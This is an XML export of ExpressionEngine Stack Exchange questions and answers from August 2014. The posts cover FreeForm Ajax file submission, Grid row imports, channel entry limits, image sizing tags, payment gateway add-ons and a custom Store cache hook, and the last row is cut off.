  <row Id="25347" PostTypeId="1" CreationDate="2014-08-27T13:51:46.193" Score="0" ViewCount="739" Body="&lt;p&gt;I have forms made with FreeForm Pro on a website (some with Composer, others by the Template way) that are validated and sent by Ajax. I followed the code given on Solspace documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&#xA;        src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js&quot;&amp;gt;&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(function($){&#xA;        var $form            = $('#ajax_form');&#xA;&#xA;        $form.submit(function(e){&#xA;            //hide all errors&#xA;            $('.error_message').hide().html('');&#xA;&#xA;            //jquery ajax shortcut&#xA;            $.post(&#xA;                //form url (Freeform autodetects ajax)&#xA;                $form.attr('action'),&#xA;                //form params&#xA;                $form.serialize(),&#xA;                //data handler&#xA;                function(data)&#xA;                {&#xA;                    // -------------------------------------&#xA;                    //    `data` is a json string that jQuery&#xA;                    //    automatically detects and converts.&#xA;                    //    data {&#xA;                    //        //posting successful?&#xA;                    //&#xA;                    //        &quot;success&quot; : true/false,&#xA;                    //&#xA;                    //        //object containing error messages&#xA;                    //        //if success is false&#xA;                    //        //multiple error messages are an array&#xA;                    //        //single error messages are a string&#xA;                    //&#xA;                    //        &quot;errors&quot;    : {&#xA;                    //            &quot;field_name1&quot;    : 'single error message',&#xA;                    //            &quot;field_name2&quot;    : [&#xA;                    //                'multiple error messages',&#xA;                    //                'for the same field'&#xA;                    //            ]&#xA;                    //        }&#xA;                    //&#xA;                    //        //the return url of return=&quot;&quot; if set, or this current url&#xA;                    //&#xA;                    //        &quot;return_url&quot;    : &quot;http://yoursite.com/return/segment/&quot;&#xA;                    //    }&#xA;                    // -------------------------------------&#xA;                    if (data.success == false)&#xA;                    {&#xA;                        //data.errors&#xA;                        $.each(data.errors, function(i, item){&#xA;&#xA;                            var $errorHolder = $('[name=&quot;' + i + '&quot;]').&#xA;                                                    parent().find('.error_message');&#xA;                            var error         = ($.isArray(item) ? item.join('&amp;lt;br/&amp;gt;') : item);&#xA;&#xA;                            //does the error holder field exist?&#xA;                            if ($errorHolder.length &amp;gt; 0)&#xA;                            {&#xA;                                $errorHolder.append('&amp;lt;p&amp;gt;' + error + '&amp;lt;/p&amp;gt;').show();&#xA;                            }&#xA;                            //lets add it to general errors&#xA;                            else&#xA;                            {&#xA;                                $generalErrors.append('&amp;lt;p&amp;gt;' + error + '&amp;lt;/p&amp;gt;').show();&#xA;                            }&#xA;                        });&#xA;                    }&#xA;                    else if (data.success)&#xA;                    {&#xA;                        $('#ajax_form').hide().html('');&#xA;                        $('.message_success').slideDown();&#xA;                    }&#xA;                }&#xA;            );&#xA;&#xA;            e.preventDefault();&#xA;            return false;&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing is : when I add a file field to the form, the form is sent but the file is not attached to the mail and not saved in the database. I searched everywhere to fix this but have issues to do it. Asked Solspace (they send me this link : &lt;a href=&quot;http://hayageek.com/jquery-ajax-form-submit/#multipart-form&quot; rel=&quot;nofollow&quot;&gt;http://hayageek.com/jquery-ajax-form-submit/#multipart-form&lt;/a&gt; to help me but I can not apply it to my form).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has a clue for me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Versions used : &#xA;FreeForm Pro 4, EE 2.8.2&lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2015-01-29T10:07:10.130" Title="Solspace FreeForm : How to send file via Ajax with FreeForm" Tags="|solspace-freeform|solspace|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25348" PostTypeId="2" ParentId="25344" CreationDate="2014-08-27T14:39:20.640" Score="3" Body="&lt;p&gt;I'm pretty sure you can just pass in the fieldname the row and column like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data['field_id_X'][rows][new_row_1][col_id_1] = 'row 1';&#xA;$data['field_id_X'][rows][new_row_2][col_id_1] = 'row 2';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just increment new_row_x as needed and match up your col_id_x numbers&lt;/p&gt;&#xA;" OwnerUserId="1188" LastEditorUserId="1188" LastEditDate="2014-08-27T20:15:59.800" LastActivityDate="2014-08-27T20:15:59.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25352" PostTypeId="2" ParentId="25274" CreationDate="2014-08-27T17:36:18.587" Score="0" Body="&lt;p&gt;Thanks. I was being thick! the query was working correctly. I was sending it the wrong parameter&lt;/p&gt;&#xA;" OwnerUserId="2912" LastActivityDate="2014-08-27T17:36:18.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25353" PostTypeId="2" ParentId="25344" CreationDate="2014-08-27T19:51:42.453" Score="1" Body="&lt;p&gt;Very close to @johnathan-waters answer I imported new grid rows using this code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$data['field_id_X']['rows']['new_row_Y']['col_id_Z'] = 'value';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-08-27T19:51:42.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25354" PostTypeId="2" ParentId="22448" CreationDate="2014-08-27T19:55:43.110" Score="0" Body="&lt;p&gt;I hope this still helps, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add new rows to a grid field by this code: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$data['field_id_X']['rows']['new_row_Y']['col_id_Z'] = 'value';&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just match X to your grid's field ID, increment new_row_Y as needed and match up your col_id_Z numbers. &lt;/p&gt;&#xA;" OwnerUserId="1994" LastActivityDate="2014-08-27T19:55:43.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25355" PostTypeId="2" ParentId="22142" CreationDate="2014-08-27T20:01:21.113" Score="0" Body="&lt;p&gt;We just posted to Devot-ee.com our add-on that forces the URL Title field to match the Structure Page/Listing URL field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View &quot;URL Title Match&quot; here: &lt;a href=&quot;http://devot-ee.com/add-ons/url-title-match&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/url-title-match&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-08-27T20:01:21.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25356" PostTypeId="1" CreationDate="2014-08-27T20:33:40.437" Score="2" ViewCount="145" Body="&lt;p&gt;I want to grab the 1 most recent entry and display it big. Then I want to grab the next most 6 recent entries and display them small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&#xA;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;1&quot;} and {exp:channel:entries channel=&quot;blog&quot; limit=&quot;6&quot; offset=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is if my most recent blog entry is closed. Then nothing big shows up and the small items start at the 2 blog entry (the closed entry is offset). I get the same results if I add status=&quot;open&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this time I had assumed exp:channel:entries would consider the status before applying the rest of the params, especially limit and offset. Since status param defaults to open, obviously I want to limit to the open entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong? Is it something new with v2.8.1? How did you think it worked?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-08-28T14:38:36.267" Title="Apparently I don't know how exp:channel:entries status and limit work together" Tags="|channel-entries|status|parameters|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25357" PostTypeId="1" CreationDate="2014-08-27T21:29:53.367" Score="0" ViewCount="40" Body="&lt;p&gt;I have this peice of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;slide-block1&quot; class=&quot;flexslider&quot;&amp;gt;  &#xA;        &amp;lt;div class=&quot;slides&quot;&amp;gt;&#xA;&#xA;          {exp:channel:entries&#xA;          channel=&quot;rotator-slides&quot;&#xA;          disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;          orderby=&quot;random&quot;&#xA;          dynamic=&quot;no&quot;&#xA;          category=&quot;262&quot;&#xA;          }&#xA;              &amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;{slide-link}&quot;&amp;gt;&#xA;                  {exp:imgsizer:size src=&quot;{slide-image}&quot; width=&quot;960&quot; height=&quot;430&quot;}&#xA;                  &amp;lt;img src=&quot;{sized}&quot; width=&quot;960&quot; height=&quot;430&quot; alt=&quot;&quot; /&amp;gt;&#xA;                  {/exp:imgsizer:size}&#xA;                &amp;lt;/a&amp;gt;&#xA;              &amp;lt;/div&amp;gt;&amp;lt;!-- /.slide --&amp;gt;&#xA;          {/exp:channel:entries}&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.slides --&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- /#slide-block1 --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I do not want the first two &quot;div&quot; tags (and therefore the last two closing tags) to appear if the channel with that category has at most 1 entry. How do I get the total number of entries before using the channel tag?&lt;/p&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2016-06-03T18:37:40.850" Title="Counting Results Outside Channel Tag" Tags="|channel|ifelse|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25358" PostTypeId="2" ParentId="25357" CreationDate="2014-08-27T21:48:01.497" Score="0" Body="&lt;p&gt;I think I fixed it. I feel stupid. All I needed is to make a condition inside the tag!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:channel:entries&#xA;      channel=&quot;rotator-slides&quot;&#xA;      disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;      orderby=&quot;random&quot;&#xA;      dynamic=&quot;no&quot;&#xA;      category=&quot;262&quot;&#xA;      }&#xA;      {if total_results &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; count==&quot;1&quot;}&#xA;      &amp;lt;div id=&quot;slide-block1&quot; class=&quot;flexslider&quot;&amp;gt;  &#xA;        &amp;lt;div class=&quot;slides&quot;&amp;gt;&#xA;          {/if}&#xA;          &amp;lt;div class=&quot;slide&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{slide-link}&quot;&amp;gt;&#xA;              {exp:imgsizer:size src=&quot;{slide-image}&quot; width=&quot;960&quot; height=&quot;430&quot;}&#xA;              &amp;lt;img src=&quot;{sized}&quot; width=&quot;960&quot; height=&quot;430&quot; alt=&quot;&quot; /&amp;gt;&#xA;              {/exp:imgsizer:size}&#xA;            &amp;lt;/a&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!-- /.slide --&amp;gt;&#xA;          {if total_results &amp;gt; &quot;1&quot; &amp;amp;&amp;amp; count==total_resutls}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /.slides --&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!-- /#slide-block1 --&amp;gt;&#xA;      {/if}&#xA;      {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3053" LastActivityDate="2014-08-27T21:48:01.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25359" PostTypeId="1" CreationDate="2014-08-27T22:00:35.530" Score="0" ViewCount="280" Body="&lt;p&gt;I think DevDemon Forms got the same issue I experienced (now fixed) with FireMail (&lt;a href=&quot;http://devot-ee.com/add-ons/support/firemail/viewthread/13824&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/firemail/viewthread/13824&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the notification emails created by DevDemon Forms, starting with &#xA;&lt;strong&gt;{!-- ra:00000000545df7cc00000000xxxxxxxx --}&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all happened after upgrading to EE 2.9. We are on DevDemon Forms v3.4.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1132" LastActivityDate="2014-09-12T19:08:42.443" Title="EE 2.9 notification email from DevDemon Forms bug" Tags="|forms|devdemon|" AnswerCount="0" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25360" PostTypeId="2" ParentId="10179" CreationDate="2014-08-27T22:24:17.543" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:next_entry channel=&quot;blog&quot;}&#xA;    &amp;lt;a class=&quot;newer&quot; href=&quot;{path=blog}&quot;&amp;gt;&amp;lt;span&amp;gt;Newer&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;{exp:channel:prev_entry channel=&quot;blog&quot;}&#xA;    &amp;lt;a class=&quot;older&quot; href=&quot;{path=blog}&quot;&amp;gt;&amp;lt;span&amp;gt;Older&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2390" LastActivityDate="2014-08-27T22:24:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25361" PostTypeId="2" ParentId="25118" CreationDate="2014-08-27T23:11:50.197" Score="0" Body="&lt;p&gt;Also just ran into this bug on an E2.9.0 clean install. Just applied the fix mentioned in the post GDmac referenced here. It's working for me so far so good. I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3452" LastActivityDate="2014-08-27T23:11:50.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25362" PostTypeId="1" CreationDate="2014-08-28T00:56:54.863" Score="1" ViewCount="115" Body="&lt;p&gt;The &lt;em&gt;Wygwam&lt;/em&gt; &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/changelog.html&quot; rel=&quot;nofollow&quot;&gt;changelog&lt;/a&gt; states that v3.3 &quot;Added Grid compatibility.&quot; But when I create a &lt;em&gt;Grid&lt;/em&gt; field, &lt;em&gt;Wygwam&lt;/em&gt; is not offered as an available field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1&#xA;Wygwam 3.3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Philip&lt;/p&gt;&#xA;" OwnerUserId="3522" LastActivityDate="2016-06-06T13:58:57.567" Title="Wygwam Grid Compatibility" Tags="|wygwam|grid|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25363" PostTypeId="2" ParentId="25362" CreationDate="2014-08-28T02:04:20.297" Score="0" Body="&lt;p&gt;If it's an update, try to clean the cache of your browser and of EE. &lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-08-28T02:04:20.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25364" PostTypeId="2" ParentId="25356" CreationDate="2014-08-28T03:37:40.610" Score="4" Body="&lt;p&gt;Here's a basic setup for what you're trying to achieve, with the class &lt;code&gt;.biggie&lt;/code&gt; representing the markup for making your entry big, and the absence of that class indicating a &quot;normal&quot; representation of your remaining entires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;NOTE:&lt;/strong&gt; Since the default order for channel entry output is reverse date order (newest first) you do not need to specify any order or sort. If you wanted to sort/order by a different criteria, you would simply add that to the opening parameters.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;  channel=&quot;blog&quot;&#xA;  limit=&quot;7&quot;&#xA;}&#xA;&#xA;  {if no_results}{redirect=&quot;404&quot;}{/if}&#xA;&#xA;  {if count == &quot;1&quot;}&#xA;    &amp;lt;h2 class=&quot;biggie&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p class=&quot;biggie&quot;&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;&#xA;  {if:else}&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{body}&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="819" LastEditorUserId="1634" LastEditDate="2014-08-28T14:38:36.267" LastActivityDate="2014-08-28T14:38:36.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25365" PostTypeId="2" ParentId="25329" CreationDate="2014-08-28T03:48:56.173" Score="1" Body="&lt;p&gt;I was able to find the answer to my problem. I found that my server email was the issue. So I set up an account with Sendgrid and it immediately fixed my problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found others complaining of the same issue with the same versions I have and said that the site server sometimes has issues and those emails get blocked immediately and don't even go to spam, which was probably my case. So they recommended using the Sendgrid services which is free up to 200 emails a day. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Justin for trying to help. &lt;/p&gt;&#xA;" OwnerUserId="3518" LastActivityDate="2014-08-28T03:48:56.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25366" PostTypeId="2" ParentId="24911" CreationDate="2014-08-28T04:05:31.597" Score="0" Body="&lt;p&gt;The weekday is irrelevant to &lt;strong&gt;&lt;em&gt;CURRENT_TIME&lt;/em&gt;&lt;/strong&gt; since &lt;code&gt;current_time&lt;/code&gt; is now. How it's presented on the &lt;em&gt;front end&lt;/em&gt; is determined by the date formatting code on the backend, but since you are not manipulating &lt;code&gt;current_time&lt;/code&gt; it's of no consequence here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all of that is academic, because if you truly want to…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;…display all entries that are in the future…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;…then what you really want is the built-in mechanism of &lt;code&gt;show_future_entries = 'yes'&lt;/code&gt;. This will accomplish the stated goal without having to create a custom search every time the template's loaded. The docs for &lt;code&gt;show_future_entries&lt;/code&gt; are &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#show-future-entries&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you click through to that link, you should also scroll down to the &lt;code&gt;start_on&lt;/code&gt; parameter and you will see that its limitations include an inability to be dynamic: you MUST enter a fully realized date. That said, you could include some PHP to generate your relative future date, and achieve some arbitrary future entry display that way, but that's not what you asked. ;-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I missing something in your question? HTH.&lt;/p&gt;&#xA;" OwnerUserId="819" LastEditorUserId="819" LastEditDate="2014-08-28T04:11:32.333" LastActivityDate="2014-08-28T04:11:32.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25370" PostTypeId="1" CreationDate="2014-08-28T09:21:21.403" Score="0" ViewCount="111" Body="&lt;p&gt;Good morning folks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;small but very irritating problem. Store2 comes with the Omnipay/Buckaroo payment gateway that's way outdated. Buckaroo switched to a new communication protocol in februari 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Omnipay github contained the new version and i was able to update this and get it to work for the three payment methods that already showed up in store2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then came the problemmy bit, i extended the method to include some functionality not yet implemented in the updated github version. Reason behind this, clients can pay via buckaroo using a few different methods (iDeal, CC, belgium bank, German banks, etc). When you handoff the payment to buckaroo without specifying what to use they show the user a selection screen. Since that selection screen is already part of my site design I need to handoff the payment to Buckaroo with a selector in the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Omnipay Github version includes 3 methods (iDeal, CC, Paypal). I needed a few extras so i created those. Problem is, their NOT showing up inside Store2.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who can point me in the right direction? I've asked the good folkes at DevDemon multiple times but haven't received a response yet (and we're a few weeks down the road already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With kind regard,&#xA;Bas van Ginkel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated Omnipay Github&#xA;&lt;a href=&quot;https://github.com/omnipay/buckaroo/tree/master/src&quot; rel=&quot;nofollow&quot;&gt;https://github.com/omnipay/buckaroo/tree/master/src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Github Version&#xA;&lt;a href=&quot;https://github.com/ginkelb/store-buckaroo/tree/master/store_buckaroo/Omnipay/Buckaroo&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ginkelb/store-buckaroo/tree/master/store_buckaroo/Omnipay/Buckaroo&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2015-10-29T14:58:48.490" Title="Payment gateway not showing" Tags="|expresso-store|devdemon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25371" PostTypeId="2" ParentId="25328" CreationDate="2014-08-28T09:54:23.197" Score="2" Body="&lt;p&gt;Looking at your CE_Img tags &lt;strong&gt;you haven't told it what size to make your image&lt;/strong&gt; and you have a weird mix of PHP and EE tags going on. This is most likely the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also don't need to be echoing out the width and height using PHP. CE_Img will create variables for both of these values. Just tell it what size you want your image using width, height, max_width, max_height parameters in the CE_Img tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this for starters...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; allow_scale_larger=&quot;yes&quot; max_width=&quot;540&quot;}&#xA;    &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;{/exp:ce_img:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will tell CE_Img to make a new image that has a maximum width of 540px (and implicitly, any height).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking your example I can deduce you wan't a different sized image based on some field values. The easiest way to do this would be with conditionals (using regular if:else EE tags or using something like Switchee)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{cf_recipes_size}&quot; == &quot;tiny&quot; or &quot;{cf_beers_size}&quot; == &quot;tiny&quot;}&#xA;&#xA;    {exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; width=&quot;270&quot; height=&quot;270&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;&#xA;{if:elseif &quot;{cf_recipes_size}&quot; == &quot;vert&quot; or &quot;{cf_beers_size}&quot; == &quot;vert&quot;}&#xA;&#xA;    {exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; width=&quot;270&quot; height=&quot;540&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;&#xA;{if:elseif &quot;{cf_recipes_size}&quot; == &quot;hori&quot; or &quot;{cf_beers_size}&quot; == &quot;hori&quot;}&#xA;&#xA;    {exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; width=&quot;540&quot; height=&quot;270&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;&#xA;{if:elseif &quot;{cf_recipes_size}&quot; == &quot;big&quot; or &quot;{cf_beers_size}&quot; == &quot;big&quot;}&#xA;    {exp:ce_img:pair src=&quot;{cf_recipes_image}&quot; width=&quot;540&quot; height=&quot;540&quot;}&#xA;        &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also find the crop parameter useful.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-08-28T10:02:38.203" LastActivityDate="2014-08-28T10:02:38.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25373" PostTypeId="1" AcceptedAnswerId="25399" CreationDate="2014-08-28T09:59:45.443" Score="0" ViewCount="38" Body="&lt;p&gt;Is there a way to specify a user_notification_template based on a select made in the form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have three options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Red&#xA;Green&#xA;Blue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the user chooses red then the red notification is sent upon form submit, green for green and blue for blue. Is this at all possible? (Just using colours for simplicity)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did see &lt;a href=&quot;https://expressionengine.stackexchange.com/q/12990/2420&quot;&gt;How to set &amp;quot;Admin Notify&amp;quot; preference based on form input value?&lt;/a&gt; question/answer however I'm not sure how to use this in my case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-08-29T06:17:30.867" Title="Choosing user_notification_template based on selection made in form" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25374" PostTypeId="2" ParentId="24897" CreationDate="2014-08-28T10:34:32.377" Score="1" Body="&lt;p&gt;There's a dropdown menu on Playa's specific &lt;strong&gt;Add/Edit Channel Field&lt;/strong&gt; ( Admin &gt; Channel Fields &gt; Group &gt; Field ) form called &lt;strong&gt;Limit entries to&lt;/strong&gt; - this is where you can set a limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any searches/filters on the playa field will search/filter the all entires ( configured in the CP ) and not just filtered set.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2014-08-28T10:34:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25375" PostTypeId="1" AcceptedAnswerId="25398" CreationDate="2014-08-28T10:56:10.350" Score="0" ViewCount="69" Body="&lt;p&gt;Is there any way to send a notification to the user once the form entry status has changed? Ideally I need around 3-4 different status'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would need to work so that if a status is changed to &lt;em&gt;More info&lt;/em&gt; a specified notification is sent out to the user, then the same for approved, denied etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be done with FreeForm Pro?&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-08-29T06:08:07.810" Title="Is it possible to notify the user when their status has changed on a Freeform entry?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25376" PostTypeId="2" ParentId="24982" CreationDate="2014-08-28T10:58:45.813" Score="1" Body="&lt;p&gt;Just documenting this if someone else might run into the same issue. It turns out there isn't a hook in Expresso Store (yet) that will allow you to clear caching on updating/inserting of a sale/discount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I ended up resolving it was by adding a custom hook into the Sales Controller and Discounts Controller in the Store add-on self. I am not a big fan of hacking third party plugins, but it was the only solution I could come up with at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is basically the same in the two controllers, so just search for the comment &quot;&lt;strong&gt;// handle form submit&lt;/strong&gt;&quot; and update the code to something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;if ($this-&gt;ee-&gt;form_validation-&gt;run() === true) {&#xA;    $sale-&gt;save();&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Adding custom hook for when a sale gets updated, so we can clear cache&#xA;if ($this-&amp;gt;ee-&amp;gt;extensions-&amp;gt;active_hook('custom_store_cp_sale_update')) {&#xA;    $this-&amp;gt;ee-&amp;gt;extensions-&amp;gt;call('custom_store_cp_sale_update');&#xA;}&#xA;&#xA;$this-&amp;gt;ee-&amp;gt;session-&amp;gt;set_flashdata('message_success', lang('store.settings.updated'));&#xA;$this-&amp;gt;ee-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.STORE_CP.'&amp;amp;amp;sc=sales');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hook will then be called when a new sale or discount entry is created or when an existing one is edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this can help someone.&lt;/p&gt;&#xA;" OwnerUserId="1936" 